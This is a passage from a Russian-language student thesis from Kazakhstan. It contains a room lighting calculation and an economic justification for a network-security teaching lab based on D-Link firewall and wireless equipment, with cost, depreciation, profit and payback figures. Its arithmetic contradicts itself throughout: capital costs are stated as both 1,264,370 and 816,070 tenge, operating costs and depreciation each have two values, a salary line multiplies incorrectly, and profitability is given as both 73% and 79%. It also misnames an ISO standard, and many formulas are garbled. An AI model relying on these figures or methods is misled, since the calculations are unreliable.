– расстояние от светильника до перекрытия hс= 0 – 2 м. 

План производственных помещений приведен на рисунке 4.1. 

Расчет освещения методом коэффициента использования 

Данный метод заключается в определении значения коэффициента  , 

равного отношению светового потока падающего на расчетную поверхность, к 

полному потоку осветительного прибора. 

Значение коэффициента  находится из таблиц, связывающих 

геометрические параметры помещений (индекс помещений ) с их оптическими 

характеристиками (коэффициентами отражения потолка , стен  
   и пола  ). 

Индекс помещения  определяется по формуле 

 

                                                                                       (4.6) 

 

где L – длина помещения; 

 B – ширина помещения;  

 h – расчетная высота. 
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Определим значение h 

 
                                                                                                 (4.7) 

 

  
 

При найденном значении расчетной высоты определяем индекс 

помещения 

 

  

Значения коэффициентов отражения примем следующими: 

 %,  %,  %. 

Для освещения помещений используются люминесцентные 

газоразрядные лампы ЛД мощностью 65 Вт и номинальным световым потоком 

3000 лм. В качестве светильников будем использовать светильники типа ЛОУ–

2х40–1001. В каждый светильник устанавливается по две лампы.  

Для найденного индекса помещения и выбранных значений 

коэффициентов отражения по таблице «Значения коэффициента использования 

светового потока» определяем коэффициент η, который равен: . С учетом 

вышесказанного можно определить количество светильников по формуле 

 

                                                                                       (4.8) 

 

где  – нормируемая освещенность для данного вида работ; 

     – коэффициент запаса, СНиП РК 2.04–05–2002; 

        – площадь помещения, СНиП РК 2.04–05–2002; 

        – коэффициент неравномерности освещения;  

        – число ламп в светильнике; 

        – световой поток одной лампы; 

        – коэффициент использования. 

 

Разряд зрительной работы – III  СНиП РК 2.04–05–2002, для проектных 

залов и конструкторских бюро значение E выбирается равным E=300 лк. Для 

этого же типа помещений с искусственным освещением газоразрядными 

лампами . 

Площадь рассматриваемого помещения равна 

 

                                                                                                   (4.9) 
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Число светильников равно 

 

                                            

 

Расстояние между светильниками равно 

 

                                                                                                (4.10) 

 

где   

 

  

 

                                                                            (4.11) 

 

  

 

Таким образом, для создания нормированной освещенности необходимо 

применить 4 светильника с лампами типа ЛД мощностью 65 Вт каждая.  

В соответствии с рисунком 4.2 размещаем в 2 ряда по 2 светильника в 

каждом ряду. Расстояние между рядами примем 2 м, расстояние от светильника 

до стены 1 м, при длине лампы – 1,5 м, расстояние между светильниками 1 м. 

Схема расположения светильников приведена на рисунках 4.2 (вид сверху). 

 

 
 

Рисунок 4.2– Схема размещения светильников (вид сверху) 
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5 Технико-экономическое обоснование 

 

5.1 Цели и задачи 

 

Основной целью данного дипломного проекта является научить 

студентов защите своей или рабочей сети и системы. Научить пользоваться 

межсетевым экраном в целях безопасности и предотвращения доступа из вне.  

Основным аспектом данного проекта является тот факт, что сейчас все 

государственные структуры переходят на электронный обмен данными, и 

именно по этой причине, что сотрудникам структур, что среднему 

предпринимателю нужно уметь защитить свои данные или информацию от 

посторонних.  

 

5.2 Обоснование необходимости проекта 

В современном обществе информационные активы являются основным 

ресурсом и обеспечивают компаниям добавленную стоимость. Сложность и 

размеры ущерба, вызванного злоумышленными атаками в сети Интернет, 

растут с каждым годом. Появление глобальных сетей связи, и в первую очередь 

Интернета, привело к значительным изменениям в организации и ведении 

коммерческой деятельности. Возникли не только новые направления ведения 

бизнеса, но и были внесены изменения в уже существующие. Интернет и 

другие виды электронных коммуникаций стали мощным катализатором 

развития информационной составляющей бизнеса и создания новой стоимости 

в результате совершенствования процессов поиска, организации, отбора, 

синтеза и распространения информации. Однако широкое представление 

компании в глобальной сети Интернет породило и новые риски, связанные со 

случайными и преднамеренными воздействиями, направленными на 

уничтожение, видоизменение тех или иных данных, изменение степени 

доступности ценных сведений. Если раньше опасность состояла в основном в 

краже (воровстве, копировании) секретных или конфиденциальных сведений и 

документов, то сейчас получило развитие незаконное оперирование 

компьютерными БД, незаконное использование электронных массивов без 

согласия собственника или владельца и извлечение материальной выгоды. По 

данным компании KPMG, которая совместно с Symantec, RSA, Checkpoint 

провела исследования о потерях, возникающих вследствие возникновения 

различных угроз, только прямые убытки предприятий от нарушения 

информационной безопасности составляют в среднем 108 тыс. долл. в год. В 

ходе исследования было опрошено 641 человек из числа старших менеджеров 

крупнейших корпораций мира – тех, у кого годовой оборот свыше 50 млн. 

долларов США. Примерно четверть выборки составляли госструктуры, 22 % – 
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финансовые организации, 26 % – компании, работающие в потребительском 

секторе и 27 % – в области информационных технологий и телекоммуникаций. 

Это были компании, разрабатывающие программное обеспечение всему миру – 

в Европе, на Ближнем Востоке, в Африке, в странах Азиатско-Тихоокеанского 

региона, Северной и Южной Америке. Принимали участие и крупнейшие 

российские компании. Как показало исследование, менее чем в полови- не 

компаний решения по вопросам информационной безопасности принимаются 

на уровне совета директоров. В остальных она возложена на сотрудников 

отделов информационных технологий. Исключение составляет финансовый 

сектор, где руководство осознаёт, что информация является стратегическим 

ресурсом и плохая защита может привести к разрушительным последствиям. 

Но в этом секторе лишь в 60 % компаний информационной безопасностью 

озаботилось высшее руководство. В большинстве компаний не ведётся учет 

нарушений информационной безопасности, нет соответствующей отчетности. 

Основные потери компаний представлены в следующей таблице. 

 

Таблица 5.1 - Виды информационных угроз и потери компаний 

Виды информационных 

угроз 

Доля в общем 

числе инцидентов, % 

Потери 

компаний,  млн 

долл. 

Инциденты, связанные с 

компьютерными вирусами 

61 10,0 

Кражи аппаратного 

обеспечения (в том числе 

ноутбуков) 

38 3,0 

Взлом систем электронной 

почты 

29 0,2 

Кражи программного 

обеспечения 

16 3,0 

DOS-атаки (действия, 

вынуждающие систему работать в 

максимальном режиме нагрузки, 

что в итоге приводит к отказу) 

14 0,5 

Взлом Web-сайтов 12 0,2 

Отказ информационной 

системы 

12 4,0 

Потеря конфиденциальности 

информации 

5 1,5 

Искажение вход-выход 

информации 

4 0,1 

 

Для большинства компаний риски информационной безопасности 

являются наиболее критичными из всего многообразия операционных рисков. 
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От того, насколько эффективно банки, страховые и инвестиционные компании 

и другие организации управляют этими рисками, зависит их 

конкурентоспособность и капитализация. По результатам исследования IT 

Governance Institute, объявление об инциденте информационной безопасности 

негативно влияет на рыночную стоимость компании. Организации, в которых 

произошел инцидент информационной безопасности, в среднем теряют 2,1 % 

рыночной стоимости. 

Существует множество подходов к обеспечению информационной 

безопасности. Часть из них отражена в различных между- народных, 

национальных и отраслевых стандартах, в частности, стандарт ISO 207001:2005 

«Требования к системе менеджмента информационной безопасности». В 

соответствии с этим стандартом, должна быть обеспечена систематическая 

защита всех информационных активов компании. Информационный актив в 

стандарте определяется таким образом, что к нему относится  все связанное с 

информацией и имеющее ценность для организации – документы, аппаратное и 

программное обеспечение, базы данных, персонал. Практически все основные 

бизнес-процессы компаний связаны с информационными активами. 

Информационная безопасность, согласно стандарту, должна обеспечить 

сохранение основных свойств информационного актива:  

–конфиденциальность – недоступность для неавторизованных 

пользователей;  

–целостность  – аккуратность и полнота;  

–доступность – получение по требованию авторизованных пользователей. 

Также, стандарт рекомендует идентифицировать риски информационной 

безопасности (инцидент произошел), реализация которых может повлечь 

наиболее тяжелые последствия – финансовые потери для компании. 

Исходя из представленной выше статистики, можно сделать вывод, что 

компания, которая потратит в среднем, на данный момент, около трех тысяч 

долларов на приобретение хорошего оборудования по защите информации, 

позволят сэкономить более крупные суммы. 

 

 

5.3 Капитальные затраты 

 

 

Капитальные затраты определим по формуле (5.1): 

 

УМ ККЦК                                                (5.1) 

 

где Ц – цена оборудования сети; 

       КМ – стоимость рабочих мест в год; 
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       КУ – стоимость монтажа и установки оборудования (5% от стоимости 

оборудования) 

1 Коммутатор: 

Для агрегирования трафика в проекте используется коммутатор 2-го 

уровня. В качестве такого устройства выбрано оборудование DWS-3024.  

2 Точка доступа (Access Point): 

В качестве точки доступа используется оборудование D-Link DWL-3500 

AP Wireless Access Point 802.11b/g, работающее в диапазоне 2,4 до 2,4835 ГГц 

соответствующее рекомендациям IEEE 802.11b и g (Wi-Fi). Радиус покрытия 

одной точки доступа составляет до 400 метров вне помещения и может 

масштабироваться за счет установки дополнительных точек доступа. Данная 

точка доступа может работать только с коммутатором для сети Wi-Fi/ 

3 Межсетевой экран DFL-1600: 

В качестве межсетевого экрана будет использоваться устройство D-Link 

DFL-1600.  

Для осуществления данного проекта необходимо будет установить 4 

точки доступа. 

 

Т а б л и ц а  5 . 2  - Наименование и стоимость оборудования для 

построения сети 

Наименование оборудования Кол-во Цена, тенге Стоимость, тенге 

Точка доступа D-Link DWL-

3500 AP 

4 19700 78800 

Беспроводной адаптер D-

Link DWL-G520 

4 4300 17200 

Межсетевой экран DFL-1600 1 530000 530000 

Кабель UTP Cat.5E катушка 

305 м 

1 13200 13200 

Итого                                                                      665200 

 

Общая стоимость оборудования составляет 665200 тенге. 

 

Т а б л и ц а  5 . 3  - Расчет затрат на организацию рабочего места 

Наименование Цена, тенге Кол-во Стоимость, тенге 

Компьютер (системный 

блок, монитор) 
43 909 10 439090 

Компьютерный стол 9 500 10 95000 

Стул 2 500 10 25000 

Шкаф 12 300 2 24600 

Итого:   583690 
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Общая стоимость организации рабочего места: 583690 тенге. 

Рассчитаем капитальные затраты по формуле (5.1): 

 

К = 665200 + 583690 + 15480 = 1264370 тенге. 

 

Т а б л и ц а  5 . 4  - Капитальные затраты 

Наименование затрат 
Стоимость, 

тенге 

Удельный 

вес, % 

Стоимость оборудования, 

(Ц) 
216 900 

26.58 

Стоимость рабочих мест, 

(Км) 
583 690 

71,52 

Установка и монтаж 

оборудования, (Ку) 
15 480 

1,90 

Итого 816 070 100,00 

 

 

 
 

Рисунок 5.1 – Структура капитальных затрат 

 

Рассчитаем капитальные затраты по формуле (5.1): 

 

К = 216900 + 583690 + 15480 = 816070 тенге. 

 

 

5.4 Расчет годовых эксплуатационных расходов 

 

26,58 

71,52 

1,90 
Стоимость оборудования, 
(Ц) 
Стоимость рабочих мест, 
(Км) 
Установка и монтаж 
оборудования, (Ку) 
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Эксплуатационные расходы определим по формуле (5.2): 

 

Э = ЗП + А + М + СЭЛ + САДМ ,                                  (5.2) 

 

где ЗП - основная и дополнительная заработная плата персонала с 

отчислением на социальное страхование, пенсионный фонд; 

        А - амортизационные отчисления; 

        М - затраты на материалы и запасные части; 

        СЭЛ - электроэнергия со стороны производственных нужд; 

        САДМ - прочие административные управленческие и 

эксплуатационные расходы; 

Для вычисления заработной платы в таблице 3.4 приведем 

среднемесячные оклады обслуживающего персонала. 

В годовой фонд заработной платы включается дополнительная 

заработная плата (работа в праздничные дни, сверхурочные и т.д.) в размере 

30% от основной заработной платы.  

Курсы предполагают обучение в течение 1 месяца. Из расчета, что 

Сетевой администратор должен обслуживать оборудование постоянно, а 

преподаватель на проведение курсов в течении 9 месяцев. 

 

Т а б л и ц а 5.4 – Среднемесячные оклады обслуживающего персонала 

Список персонала Количество Ежемесячная 

з.пл, тенге 

З.пл в год, 

тенге 

Всего, 

тенге 

Сетевой 

администратор 

1 35 000 420 000 420 000 

Преподаватель 1 60 000 540 000 540 000 

Итого                                                               960 000 

 

Дополнительная заработная плата рассчитывается по формуле (5.3): 

 

ЗПДОП = ЗПОСН  *0,3,                                         (5.3) 

 

где ЗПОСН - годовой фонд основной заработной платы. 

Подставив значения в (3.3) найдем годовой фонд дополнительной 

заработной платы 

 

ЗПДОП  = 1 140 000*0,3 = 342 000тенге. 

 

 

Фонд оплаты труда складывается из основной, дополнительной 

заработной платы, а также с учетом премий: 
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  ФОТ = ЗПОСН + ЗПДОП + П                        (5.4) 

 

Определим фонд оплаты труда по формуле (3.5) 

 

ФОТ = 1 140 000 + 342 000 + 171 000 = 1 653 000 тенге. 

 

Обязательные пенсионные взносы составляют 11% от заработной платы 

работника.  

Отчисления на социальный налог составляют от 11%: 

 

Сн = 0,11 (ФОТ – 0,1. ФОТ)=163 647 тенге. 

Таким образом в целом сумма отчислений на социальные нужды составит 

193 401 тенге 

Сумма амортизационных отчислений начисляется по единым нормам, 

которые устанавливаются в процентах от стоимости основных фондов формула 

(5.5):  

 

                                                
%100

0
АНф

А


 ,                  (5.5) 

 

где Ф – балансовая стоимость основных фондов, тенге; 

НA – норма амортизационных отчислений. 

Найдем амортизационные отчисления для оборудования, компьютеров и 

офисной мебели из (6.5). 

Для оборудования для построения сети амортизация составляет 25% от 

цены оборудования: 

 

А1 = 216 900*0,25= 54 225 тенге.  

 

Амортизация компьютеров составляет 40% от цены: 

 

А2 = 439 090*0,4 = 175 636 тенге.  

 

Амортизация офисной мебели составляет 15% от цены: 

 

А3 = 144 600*0,15 = 21 690 тенге.   

 

А = А1 + А2 + А3 = 54 225 + 175 636+ 21 690 = 251 551 тенге. 

 

Затраты на электроэнергию рассчитаем по следующей формуле (5.6): 

 

           СЭЛ. = W*T*S ,                                (5.6) 
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где W- потребляемая мощность W =  1210 Вт; 

       Т - количество часов работы Т = 8760 ч/год; 

       S - стоимость киловатт-часа электроэнергии S = 14,36 тенге / квт-час. 

 

Рассчитаем затраты на электроэнергию по формуле (5.6): 

 

 СЭЛ = 1,210*8760*14,36 = 152210 тенге. 

 

Мощность, потребляемая на прочие нужды, берется в размере 5% от 

мощности, потребляемой основным оборудованием. Стоимость 

электроэнергии, потребляемой на прочие нужды: 

 

СЭЛ.пр = Сэл*0,05 = 7610 тенге. 

 

Общие затраты на электроэнергию: 

 

Сэл.общ = Сэл + СЭЛ.пр = 152210 + 7610 = 159820 тенге. 

 

Затраты на материалы и запасные части принимают в размере 5% от 

стоимости системы: 

М = 216 900*0,05 = 10 845 тенге. 

 

Стоимость административных расходов составляет 10% от ФОТ: 

 

САДМ = ФОТ*10% = 1 653 000 *0,10 = 165 300 тенге.   

 

Таким образом, эксплуатационные расходы исходя из (3.2) составят: 

 

Э = 1 653 000 +163 647 + 251 551 + 159820+ 10 845 + 165 300 = 2404163 

тенге. 

 

Сведем данные по эксплуатационным расходам в таблицу 5.5 и 

определим удельный вес каждой статьи расходов. 

 

Т а б л и ц а  5 . 5  – Эксплуатационные расходы 
Статьи эксплуатационных затрат Стоимость, тенге Удельный вес, % 

Заработная плата персонала 1 816 647 75,6 

Амортизационные отчисления 251 551 10,46 

Затраты на материалы и запасные части 10 845 0,45 

Затраты на электроэнергию 159820 6,65 

Административные расходы 165300 6,87 

Итого: 2404163 100,00 



72 

 

 

На рисунке 5.2 приведена структура эксплуатационных расходов. 

 

 
 

Рисунок 5.2 – Структура эксплуатационных затрат 

 

 

5.5 Расчет доходов от внедрения технологии защите информации 

 

Внедрения защиты информации проводилось с целью охвата всего 

помещения кафедры и введения платных курсов по эксплуатации и наладке 

оборудования фирмы «D-Link».  Планируется введение платных ежемесячных 

курсов по эксплуатации беспроводного оборудования фирмы «D-Link», 

стоимостью 25 000 тенге с человека. Учитывая, что в одном потоке 10 

курсантов и в году 12 месяцев, годовой доход от внедрения курсов составит Д = 

25 000*10*12 =3 000 000 тенге. 

 

5.6 Прибыль и срок окупаемости  

 

75,6 

10,46 

0,45 

6,65 

6,87 

Заработная плата персонала 

Амортизационные отчисления 
Затраты на материалы и запасные части 
Затраты на электроэнергию 

Административные расходы 



73 

 

Прибыль предприятия  - это доходы предприятия от основной 

деятельности за вычетом эксплуатационных расходов. Прибыль предприятия 

облагается  подоходным налогом, который в Казахстане составляет 30%. 

Прибыль предприятия до налогообложения. 

Доход от основной деятельности определим по формуле (5.7):  

 

                                              П = Д – Э,                 (5.7) 

 

где Д - годовой доход; 

       Э – эксплуатационные расходы. 

 

П = 3 000 000 – 2 333 603= 666 397тенге.  

 

Чистая прибыль  остающийся  в  распоряжении  предприятия – это  

прибыль  после  налогообложения.  

Сумма, отчисляемая на корпоративный налог с прибыли составит: 

 

                                                     Н = ЧД *20%,                 (5.8) 

 

Н = 666 397*0,2 = 133 279 тенге.  

 

Сумма чистой прибыли после налогообложения составит: 

 

                                                   ЧП = П – Н,                (5.9) 

 

 

П = 666 397 – 133 279= 533 118 тенге. 

 

Определим чистую прибыль перечисляемую в фонд накопления: 

 

                                                    ФН = 0,6*ЧП,               (5.10) 

 

 ФН = 0,6*533 118= 319 871 тенге.                                     

 

Ожидаемые чистые потоки денежных средств 

 

                                              ОЧПДС = ФН + А,               (5.11) 

 

ОЧПДС = ФН  + А = 319 871 + 274 729 = 594 600 тенге. 

 

Рентабельность проекта составит:  
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                                  73%100
816070

   600 594


К

ОЧПДС
Р %.             (5.12) 

 

Срок окупаемости – это величина, показывающая, за какой период 

времени произойдет  возврат денежных средств (капитальных вложений), 

затраченных на организацию предприятий. Срок окупаемости определим как 

отношение капитальных затрат к чистой прибыли предприятия: 

   

                 
   600 594

070 816

ОЧПДС

К
Т 1,4 года              (5.13) 

 

7,0
816070

594600


К

ОЧПДС
Е                              (5.14)      

 

Все экономические показатели по проекту создания сети на базе данных 

технологий сведем в таблицу 5.6. 

 

Т а б л и ц а  5 . 6  – Показатели экономической эффективности проекта  

Показатели Значение 

Капитальные затраты, тенге 816 070 

Эксплуатационные расходы, 

тенге 
2 333 603 

Прибыль до налогообложения, 

тенге  
666 397 

Прибыль после 

налогообложения, тенге 
533 118 

Срок окупаемости, лет 1,4 

Рентабельность, % 79% 

Коэффициент абсолютной 

экономической эффективности 
0,7 

 

Вывод: 

Таким образом при проектировании локальной сети на базе технологий 

по защите информации на кафедре АЭС Алматинского института Энергетики и 

Связи при капитальных затратах в 816 070 тенге, чистый годовой доход 

составит 594600 тенге. При рентабельности 79% данная работа окупается за 1,4 

года. Отсюда можно сделать вывод, что данная работа экономически 

эффективна. 
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Заключение 

 

 

Безопасность компьютерных сетей и систем в настоящее время очень 

актуальна и дальше будет становиться все более актуальней, ведь технологии 

не стоят на месте. Мною был проведен анализ безопасности на сегодняшний 

день, предоставлена информация о возможных атаках и подготовлены 

лабораторные работы, направленные на защиту от подобных атак. 

Предоставлена экономическая сторона данного вопроса, из которой были 

сделаны соответствующие выводы. Цель дипломной работы была достигнута. 
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